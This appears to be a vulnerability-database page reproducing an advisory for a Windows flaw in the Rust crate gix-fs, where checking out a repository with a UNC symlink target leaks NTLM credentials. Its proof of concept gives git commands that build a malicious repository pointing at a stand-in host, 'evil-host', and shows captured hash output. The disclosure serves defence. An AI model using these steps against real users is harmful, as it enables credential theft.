PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet
Vulnerability DatabaseGHSA-xw69-xv93-5fjv

GHSA-xw69-xv93-5fjv: 
Rust vulnerability analysis and mitigation

Summary

When gitoxide checks out a repository on Windows with symbolic link support enabled, it probes the on-disk type of each symlink target before creating the link. For a symlink whose target is a UNC path (for example \\attacker-host\share), this type probe calls std::fs::metadata(), which resolves the UNC path and causes Windows to open an SMB connection to the attacker-controlled host. Windows then automatically performs NTLM authentication, disclosing the victim's username, domain, and NTLMv2 response hash to the attacker. The attacker only needs to publish a crafted repository and have the victim clone or check it out; no further interaction is required. The flaw is in gix_fs::symlink::create in the gix-fs crate.

Root Cause

During checkout, symlink entries are deferred and then created one at a time. On Windows, before creating the link, the code must decide whether to create a file symlink or a directory symlink, so it probes the target's type on disk. It does this by joining the target onto the link's parent directory and calling is_dir() (which calls std::fs::metadata()) on the result. The security invariant that is violated is that an untrusted, attacker-controlled symlink target should never cause the checkout process to resolve or contact an external, attacker-chosen filesystem location. The probe performs no validation of the target: it does not reject targets that begin with a path separator (which Windows can interpret as a UNC share or NT namespace path), and Path::join on Windows discards the intended worktree base when the joined argument carries a UNC prefix. As a result, the probe operates directly on the attacker's UNC path, and metadata() follows it off the local machine.

// gix-fs/src/symlink.rs (gix-fs 0.24.0), Windows implementation
pub fn create(original: &Path, link: &Path) -> io::Result<()> {
    use std::os::windows::fs::{symlink_dir, symlink_file};
    let orig_abs = link.parent().expect("dir for link").join(original);
    if orig_abs.is_dir() {              // std::fs::metadata() follows the UNC path
        symlink_dir(original, link)
    } else {
        symlink_file(original, link)
    }
}

Impact

An attacker who can get a victim to clone or check out a crafted repository can capture the victim's Windows NTLM credentials. The prerequisites are: the victim runs on Windows with symbolic link creation enabled (Developer Mode or administrator), has network connectivity to the attacker's SMB endpoint, and performs a checkout of the attacker's repository. No gitoxide configuration beyond default checkout behavior is required, and no authentication to the attacker's repository is needed. The demonstrated capability is disclosure of the victim's username, domain, and NTLMv2 response hash. Such captured material is commonly used for offline password cracking and for NTLM relay attacks against other services; those downstream consequences are plausible follow-on uses of the disclosed credentials rather than behaviors demonstrated here.

Proof of Concept

Setup requirements:
- An attacker-controlled SMB listener that records NTLM authentication
  (for example Responder or Impacket's smbserver) reachable at a host the
  victim can route to, e.g. evil-host.
- A victim on Windows with symlink creation enabled (Developer Mode or admin)
  that checks out the repository using a gix-based tool.

Reproduction steps:

  1. Build a git repository containing a single symbolic link entry whose blob content (the link target) is a UNC path pointing at the attacker's SMB host.
  2. Publish the repository so the victim can clone it.
  3. Have the victim clone or check out the repository on Windows with symlink support enabled.

# Build the malicious repository (run anywhere git is available).
git init malicious && cd malicious

# Create a symlink whose target is an attacker UNC path. The stored blob

# content is the literal target string; forward slashes are converted to

# backslashes during Windows checkout, producing \\evil-host\share.
target='//evil-host/share'
blob=$(printf '%s' "$target" | git hash-object -w --stdin)
git update-index --add --cacheinfo 120000,"$blob",a
git commit -m "add symlink"

# On the attacker SMB listener during the victim's checkout:
[SMB] NTLMv2-SSP Client   : <victim-ip>
[SMB] NTLMv2-SSP Username : VICTIM-DOMAIN\victim
[SMB] NTLMv2-SSP Hash     : victim::VICTIM-DOMAIN:1122334455667788:<ntlmv2-response>...

Attack Chain

  1. Exposure: The attacker publishes a repository (any hosting the victim can clone) containing a crafted symlink index entry; the victim clones or checks it out with a gix-based tool on Windows.
  2. Control: The attacker fully controls the symlink target bytes stored in the blob; the git index places no constraints on symlink target content, so a value such as //evil-host/share is accepted verbatim.
  3. Path: During checkout, SYMLINK entries are deferred (gix-worktree-state/src/checkout/chunk.rs:136) and later created in gix-worktree-state/src/checkout/function.rs:145; each entry reaches entry::checkout, where the target is converted with gix_path::to_native_path_on_windows (turning / into \, yielding \\evil-host\share) and passed to gix_fs::symlink::create at gix-worktree-state/src/checkout/entry.rs:163-165.
  4. Guard: No protection intercepts the untrusted target. The conversion only rewrites separators, and gix_fs::symlink::create (gix-fs/src/symlink.rs) performs no check for separator-prefixed or UNC targets before probing.
  5. Primitive: create joins the target onto the link's parent and calls is_dir(); because Path::join discards the base for a UNC-prefixed argument on Windows, std::fs::metadata() is invoked directly on \\evil-host\share, which Windows resolves by opening an SMB session.
  6. Result: Windows automatically performs NTLM authentication to the attacker's SMB host, disclosing the victim's username, domain, and NTLMv2 response hash.

Bypass Evidence

The relevant protection is the type-probe code path itself, which in the latest published release has no guard against separator-prefixed or UNC targets. In the gix-fs-v0.24.0 tag (the latest crates.io release), git show gix-fs-v0.24.0:gix-fs/src/symlink.rs shows the Windows create calling is_dir() unconditionally on the joined target with no validation. A later, still unreleased change adds a check that treats targets beginning with / or \ as files without probing them; that change is not present in any published version and therefore does not protect current users. Moreover, that unreleased check inspects only the literal first byte of the direct target string, so an indirect chain (one entry pointing at a local name, a second entry pointing that local name at a UNC path) still reaches a metadata() probe that follows the chain to the UNC target. The strongest refutation attempts (that the fix for CVE-2026-44471 / GHSA-f89h-2fjh-2r9q covers this path, that path conversion sanitizes UNC input, that Path::join cannot yield a UNC path, or that the deferred-symlink and collision-handling wrappers add validation) were each checked against the v0.24.0 source and all failed: that earlier fix touches only gix-fs/src/stack.rs (Stack prefix-reuse), a different file and root cause, and none of the intervening layers validate the target.

Affected Versions

  • Ecosystem: rust
  • Package: gix-fs
  • Confirmed affected range: <= 0.24.0
  • Latest release checked: 0.24.0 (crates.io)
  • Fix status: not fixed The upper bound is verified against the latest crates.io release (0.24.0, published 2026-10-08), whose published source contains the unguarded Windows probe. No fixed release exists; the mitigating change is only on the development branch and has not been published. The lower bound of introduction could not be established, so the range is expressed as an open upper-bounded range. The consuming crates gix-worktree-state and gix are affected on Windows because they pull in this gix-fs code path during checkout.

Suggested Fix

Reported by zx.


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-57g2-8cj3-3v8gHIGH7.5
  • Rust logoRust
  • grib
NoYesOct 22, 2026
GHSA-xw69-xv93-5fjvMEDIUM6.5
  • Rust logoRust
  • gix-fs
NoYesOct 22, 2026
GHSA-hqmx-mx83-h2xcMEDIUMN/A
  • Rust logoRust
  • kule
NoYesOct 22, 2026
GHSA-57xf-95mj-j6j6MEDIUMN/A
  • Rust logoRust
  • kule
NoYesOct 22, 2026
GHSA-4v43-5ff7-45w4MEDIUMN/A
  • Rust logoRust
  • kule
NoYesOct 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management